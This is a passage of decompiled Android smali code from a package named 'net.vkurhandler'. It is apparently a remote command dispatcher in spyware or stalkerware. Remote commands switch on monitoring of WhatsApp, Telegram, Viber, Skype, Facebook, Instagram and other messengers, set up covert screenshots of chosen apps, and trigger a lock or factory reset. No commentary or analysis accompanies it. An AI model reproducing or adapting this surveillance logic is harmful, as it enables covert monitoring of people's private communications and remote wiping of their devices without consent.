                    3171iget-object v2, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    3173invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    3174move-result v1
                    3176invoke-virtual {v0, v1}, Lnet/vkurhandler/dj;->a(Z)V
                    3178const-string v0, "ok"
                    3179iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    3180goto/16 :goto_4e
                    3181cond_1044:
                    3182iget-object v2, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    3184const-string v3, "messenger_rt_vkkate"
                    3186invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    3187move-result v2
                    3188if-eqz v2, :cond_107c
                    3190iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    3192invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    3193move-result-object v0
                    3195const-string v1, "messenger_rt_vkkate"
                    3197const-string v2, "true"
                    3199iget-object v3, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    3201invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    3202move-result v2
                    3204invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    3205move-result-object v0
                    3207invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    3209iget-object v0, p0, Lnet/vkurhandler/ah;->j:Lnet/vkurhandler/MyApp;
                    3211invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->k()Lnet/vkurhandler/dj;
                    3212move-result-object v0
                    3214const-string v1, "true"
                    3216iget-object v2, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    3218invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    3219move-result v1
                    3221invoke-virtual {v0, v1}, Lnet/vkurhandler/dj;->a(Z)V
                    3223const-string v0, "ok"
                    3224iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    3225goto/16 :goto_4e
                    3226cond_107c:
                    3227iget-object v2, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    3229const-string v3, "messenger_rt_odnoklassniki"
                    3231invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    3232move-result v2
                    3233if-eqz v2, :cond_10b4
                    3235iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    3237invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    3238move-result-object v0
                    3240const-string v1, "messenger_rt_odnoklassniki"
                    3242const-string v2, "true"
                    3244iget-object v3, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    3246invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    3247move-result v2
                    3249invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    3250move-result-object v0
                    3252invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    3254iget-object v0, p0, Lnet/vkurhandler/ah;->j:Lnet/vkurhandler/MyApp;
                    3256invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->i()Lnet/vkurhandler/dj;
                    3257move-result-object v0
                    3259const-string v1, "true"
                    3261iget-object v2, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    3263invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    3264move-result v1
                    3266invoke-virtual {v0, v1}, Lnet/vkurhandler/dj;->a(Z)V
                    3268const-string v0, "ok"
                    3269iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    3270goto/16 :goto_4e
                    3271cond_10b4:
                    3272iget-object v2, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    3274const-string v3, "messenger_rt_whatsapp"
                    3276invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    3277move-result v2
                    3278if-eqz v2, :cond_10ec
                    3280iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    3282invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    3283move-result-object v0
                    3285const-string v1, "messenger_rt_whatsapp"
                    3287const-string v2, "true"
                    3289iget-object v3, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    3291invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    3292move-result v2
                    3294invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    3295move-result-object v0
                    3297invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    3299iget-object v0, p0, Lnet/vkurhandler/ah;->j:Lnet/vkurhandler/MyApp;
                    3301invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->l()Lnet/vkurhandler/dj;
                    3302move-result-object v0
                    3304const-string v1, "true"
                    3306iget-object v2, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    3308invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    3309move-result v1
                    3311invoke-virtual {v0, v1}, Lnet/vkurhandler/dj;->a(Z)V
                    3313const-string v0, "ok"
                    3314iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    3315goto/16 :goto_4e
                    3316cond_10ec:
                    3317iget-object v2, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    3319const-string v3, "messenger_rt_telegram"
                    3321invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    3322move-result v2
                    3323if-eqz v2, :cond_1124
                    3325iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    3327invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    3328move-result-object v0
                    3330const-string v1, "messenger_rt_telegram"
                    3332const-string v2, "true"
                    3334iget-object v3, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    3336invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    3337move-result v2
                    3339invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    3340move-result-object v0
                    3342invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    3344iget-object v0, p0, Lnet/vkurhandler/ah;->j:Lnet/vkurhandler/MyApp;
                    3346invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->m()Lnet/vkurhandler/dj;
                    3347move-result-object v0
                    3349const-string v1, "true"
                    3351iget-object v2, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    3353invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    3354move-result v1
                    3356invoke-virtual {v0, v1}, Lnet/vkurhandler/dj;->a(Z)V
                    3358const-string v0, "ok"
                    3359iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    3360goto/16 :goto_4e
                    3361cond_1124:
                    3362iget-object v2, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    3364const-string v3, "messenger_rt_instagram"
                    3366invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    3367move-result v2
                    3368if-eqz v2, :cond_115c
                    3370iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    3372invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    3373move-result-object v0
                    3375const-string v1, "messenger_rt_instagram"
                    3377const-string v2, "true"
                    3379iget-object v3, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    3381invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    3382move-result v2
                    3384invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    3385move-result-object v0
                    3387invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    3389iget-object v0, p0, Lnet/vkurhandler/ah;->j:Lnet/vkurhandler/MyApp;
                    3391invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->o()Lnet/vkurhandler/dj;
                    3392move-result-object v0
                    3394const-string v1, "true"
                    3396iget-object v2, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    3398invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    3399move-result v1
                    3401invoke-virtual {v0, v1}, Lnet/vkurhandler/dj;->a(Z)V
                    3403const-string v0, "ok"
                    3404iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    3405goto/16 :goto_4e
                    3406cond_115c:
                    3407iget-object v2, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    3409const-string v3, "messenger_rt_imo"
                    3411invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    3412move-result v2
                    3413if-eqz v2, :cond_1194
                    3415iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    3417invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    3418move-result-object v0
                    3420const-string v1, "messenger_rt_imo"
                    3422const-string v2, "true"
                    3424iget-object v3, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    3426invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    3427move-result v2
                    3429invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    3430move-result-object v0
                    3432invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    3434iget-object v0, p0, Lnet/vkurhandler/ah;->j:Lnet/vkurhandler/MyApp;
                    3436invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->n()Lnet/vkurhandler/dj;
                    3437move-result-object v0
                    3439const-string v1, "true"
                    3441iget-object v2, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    3443invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    3444move-result v1
                    3446invoke-virtual {v0, v1}, Lnet/vkurhandler/dj;->a(Z)V
                    3448const-string v0, "ok"
                    3449iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    3450goto/16 :goto_4e
                    3451cond_1194:
                    3452iget-object v2, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    3454const-string v3, "messenger_rt_gem4me"
                    3456invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    3457move-result v2
                    3458if-eqz v2, :cond_11cc
                    3460iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    3462invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    3463move-result-object v0
                    3465const-string v1, "messenger_rt_gem4me"
                    3467const-string v2, "true"
                    3469iget-object v3, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    3471invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    3472move-result v2
                    3474invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    3475move-result-object v0
                    3477invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    3479iget-object v0, p0, Lnet/vkurhandler/ah;->j:Lnet/vkurhandler/MyApp;
                    3481invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->p()Lnet/vkurhandler/dj;
                    3482move-result-object v0
                    3484const-string v1, "true"
                    3486iget-object v2, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    3488invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    3489move-result v1
                    3491invoke-virtual {v0, v1}, Lnet/vkurhandler/dj;->a(Z)V
                    3493const-string v0, "ok"
                    3494iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    3495goto/16 :goto_4e
                    3496cond_11cc:
                    3497iget-object v2, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    3499const-string v3, "messenger_rt_facebook"
                    3501invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    3502move-result v2
                    3503if-eqz v2, :cond_1204
                    3505iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    3507invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    3508move-result-object v0
                    3510const-string v1, "messenger_rt_facebook"
                    3512const-string v2, "true"
                    3514iget-object v3, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    3516invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    3517move-result v2
                    3519invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    3520move-result-object v0
                    3522invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    3524iget-object v0, p0, Lnet/vkurhandler/ah;->j:Lnet/vkurhandler/MyApp;
                    3526invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->g()Lnet/vkurhandler/dj;
                    3527move-result-object v0
                    3529const-string v1, "true"
                    3531iget-object v2, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    3533invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    3534move-result v1
                    3536invoke-virtual {v0, v1}, Lnet/vkurhandler/dj;->a(Z)V
                    3538const-string v0, "ok"
                    3539iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    3540goto/16 :goto_4e
                    3541cond_1204:
                    3542iget-object v2, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    3544const-string v3, "messenger_rt_viber"
                    3546invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    3547move-result v2
                    3548if-eqz v2, :cond_123c
                    3550iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    3552invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    3553move-result-object v0
                    3555const-string v1, "messenger_rt_viber"
                    3557const-string v2, "true"
                    3559iget-object v3, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    3561invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    3562move-result v2
                    3564invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    3565move-result-object v0
                    3567invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    3569iget-object v0, p0, Lnet/vkurhandler/ah;->j:Lnet/vkurhandler/MyApp;
                    3571invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->h()Lnet/vkurhandler/dj;
                    3572move-result-object v0
                    3574const-string v1, "true"
                    3576iget-object v2, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    3578invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    3579move-result v1
                    3581invoke-virtual {v0, v1}, Lnet/vkurhandler/dj;->a(Z)V
                    3583const-string v0, "ok"
                    3584iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    3585goto/16 :goto_4e
                    3586cond_123c:
                    3587iget-object v2, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    3589const-string v3, "messenger_rt_skype"
                    3591invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    3592move-result v2
                    3593if-eqz v2, :cond_127e
                    3595iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    3597invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    3598move-result-object v0
                    3600const-string v1, "messenger_rt_skype"
                    3602const-string v2, "true"
                    3604iget-object v3, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    3606invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    3607move-result v2
                    3609invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    3610move-result-object v0
                    3612invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    3614iget-object v0, p0, Lnet/vkurhandler/ah;->j:Lnet/vkurhandler/MyApp;
                    3616invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->b()Ljava/util/HashMap;
                    3617move-result-object v0
                    3619const-string v1, "com.skype.raider"
                    3621invoke-virtual {v0, v1}, Ljava/util/HashMap;->get(Ljava/lang/Object;)Ljava/lang/Object;
                    3622move-result-object v0
                    3623check-cast v0, Lnet/vkurhandler/dj;
                    3624if-eqz v0, :cond_1278
                    3626const-string v1, "true"
                    3628iget-object v2, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    3630invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    3631move-result v1
                    3633invoke-virtual {v0, v1}, Lnet/vkurhandler/dj;->a(Z)V
                    3634cond_1278:
                    3635const-string v0, "ok"
                    3636iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    3637goto/16 :goto_4e
                    3638cond_127e:
                    3639iget-object v2, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    3641const-string v3, "locked"
                    3643invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    3644move-result v2
                    3645if-eqz v2, :cond_1299
                    3647iget-object v0, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    3648if-nez v0, :cond_1296
                    3650const-string v0, ""
                    3651goto_128e:
                    3652invoke-direct {p0, v0}, Lnet/vkurhandler/ah;->b(Ljava/lang/String;)Ljava/lang/String;
                    3653move-result-object v0
                    3654iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    3655goto/16 :goto_4e
                    3656cond_1296:
                    3657iget-object v0, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    3658goto/16 :goto_128e
                    3659cond_1299:
                    3660iget-object v2, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    3662const-string v3, "factory_reset"
                    3664invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    3665move-result v2
                    3666if-eqz v2, :cond_12ad
                    3668iget-object v0, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    3670invoke-direct {p0, v0}, Lnet/vkurhandler/ah;->a(Ljava/lang/String;)Ljava/lang/String;
                    3671move-result-object v0
                    3672iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    3673goto/16 :goto_4e
                    3674cond_12ad:
                    3675iget-object v2, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    3677const-string v3, "screen_use_jpeg_compress"
                    3679invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    3680move-result v2
                    3681if-eqz v2, :cond_12e8
                    3683iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    3685invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    3686move-result-object v0
                    3688const-string v1, "screen_use_jpeg_compress"
                    3690iget-object v2, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    3692const-string v3, "1"
                    3694invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    3695move-result v2
                    3697invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    3698move-result-object v0
                    3700invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    3702iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    3704const-string v1, "take_screen"
                    3705const/4 v2, 0x0
                    3707invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    3708move-result v0
                    3709if-eqz v0, :cond_12e2
                    3711iget-object v0, p0, Lnet/vkurhandler/ah;->j:Lnet/vkurhandler/MyApp;
                    3713invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->e()Lnet/vkurhandler/ee;
                    3714move-result-object v0
                    3716invoke-virtual {v0}, Lnet/vkurhandler/ee;->a()V
                    3717cond_12e2:
                    3718const-string v0, "ok"
                    3719iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    3720goto/16 :goto_4e
                    3721cond_12e8:
                    3722iget-object v2, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    3724const-string v3, "enable_screen_maker_app_filter"
                    3726invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    3727move-result v2
                    3728if-eqz v2, :cond_131c
                    3730iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    3732invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    3733move-result-object v0
                    3735sget-object v1, Lnet/vkurhandler/ee;->a:Ljava/lang/String;
                    3736const/4 v2, 0x1
                    3738invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    3739move-result-object v0
                    3741invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    3743iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    3745const-string v1, "take_screen"
                    3746const/4 v2, 0x0
                    3748invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    3749move-result v0
                    3750if-eqz v0, :cond_1316
                    3752iget-object v0, p0, Lnet/vkurhandler/ah;->j:Lnet/vkurhandler/MyApp;
                    3754invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->e()Lnet/vkurhandler/ee;
                    3755move-result-object v0
                    3757invoke-virtual {v0}, Lnet/vkurhandler/ee;->a()V
                    3758cond_1316:
                    3759const-string v0, "ok"
                    3760iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    3761goto/16 :goto_4e
                    3762cond_131c:
                    3763iget-object v2, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    3765const-string v3, "disable_screen_maker_app_filter"
                    3767invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    3768move-result v2
                    3769if-eqz v2, :cond_1350
                    3771iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    3773invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    3774move-result-object v0
                    3776sget-object v1, Lnet/vkurhandler/ee;->a:Ljava/lang/String;
                    3777const/4 v2, 0x0
                    3779invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
                    3780move-result-object v0
                    3782invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    3784iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    3786const-string v1, "take_screen"
                    3787const/4 v2, 0x0
                    3789invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    3790move-result v0
                    3791if-eqz v0, :cond_134a
                    3793iget-object v0, p0, Lnet/vkurhandler/ah;->j:Lnet/vkurhandler/MyApp;
                    3795invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->e()Lnet/vkurhandler/ee;
                    3796move-result-object v0
                    3798invoke-virtual {v0}, Lnet/vkurhandler/ee;->a()V
                    3799cond_134a:
                    3800const-string v0, "ok"
                    3801iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    3802goto/16 :goto_4e
                    3803cond_1350:
                    3804iget-object v2, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    3806const-string v3, "add_app_to_screen_maker_app_filter"
                    3808invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    3809move-result v2
                    3810if-eqz v2, :cond_13d1
                    3812iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    3814sget-object v1, Lnet/vkurhandler/ee;->b:Ljava/lang/String;
                    3815const/4 v2, 0x0
                    3817invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                    3818move-result-object v1
                    3819new-instance v2, Lorg/json/JSONObject;
                    3821iget-object v0, p0, Lnet/vkurhandler/ah;->b:Ljava/lang/String;
                    3823invoke-direct {v2, v0}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
                    3825invoke-static {v1}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                    3826move-result v0
                    3827if-nez v0, :cond_13cb
                    3828new-instance v0, Lorg/json/JSONArray;
                    3830invoke-direct {v0, v1}, Lorg/json/JSONArray;-><init>(Ljava/lang/String;)V
                    3831goto_1375: new-instance v1, Lorg/json/JSONObject;
                    3833invoke-direct {v1}, Lorg/json/JSONObject;-><init>()V
                    3835const-string v3, "pkg_name"
                    3837const-string v4, "pkg_name"
                    3839invoke-virtual {v2, v4}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    3840move-result-object v4
                    3842invoke-virtual {v1, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    3844const-string v3, "app_name"
                    3846const-string v4, "app_name"
                    3848invoke-virtual {v2, v4}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    3849move-result-object v4
                    3851invoke-virtual {v1, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    3853const-string v3, "interval"
                    3855const-string v4, "interval"
                    3857invoke-virtual {v2, v4}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                    3858move-result v2
                    3860invoke-virtual {v1, v3, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                    3862invoke-virtual {v0, v1}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
                    3864iget-object v1, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    3866invoke-interface {v1}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    3867move-result-object v1
                    3869sget-object v2, Lnet/vkurhandler/ee;->b:Ljava/lang/String;
                    3871invoke-virtual {v0}, Lorg/json/JSONArray;->toString()Ljava/lang/String;
                    3872move-result-object v0
                    3874invoke-interface {v1, v2, v0}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
                    3875move-result-object v0
                    3877invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    3879iget-object v0, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    3881const-string v1, "take_screen"
                    3882const/4 v2, 0x0
                    3884invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    3885move-result v0
                    3886if-eqz v0, :cond_13c5
                    3888iget-object v0, p0, Lnet/vkurhandler/ah;->j:Lnet/vkurhandler/MyApp;
                    3890invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->e()Lnet/vkurhandler/ee;
                    3891move-result-object v0
                    3893invoke-virtual {v0}, Lnet/vkurhandler/ee;->a()V
                    3894cond_13c5:
                    3895const-string v0, "ok"
                    3896iput-object v0, p0, Lnet/vkurhandler/ah;->d:Ljava/lang/String;
                    3897goto/16 :goto_4e
                    3898cond_13cb: new-instance v0, Lorg/json/JSONArray;
                    3900invoke-direct {v0}, Lorg/json/JSONArray;-><init>()V
                    3901goto/16 :goto_1375
                    3902cond_13d1:
                    3903iget-object v2, p0, Lnet/vkurhandler/ah;->c:Ljava/lang/String;
                    3905const-string v3, "del_app_to_screen_maker_app_filter"
                    3907invoke-virtual {v2, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    3908move-result v2
                    3909if-eqz v2, :cond_145f
                    3911iget-object v1, p0, Lnet/vkurhandler/ah;->f:Landroid/content/SharedPreferences;
                    3913sget-object v2, Lnet/vkurhandler/ee;->b:Ljava/lang/String;
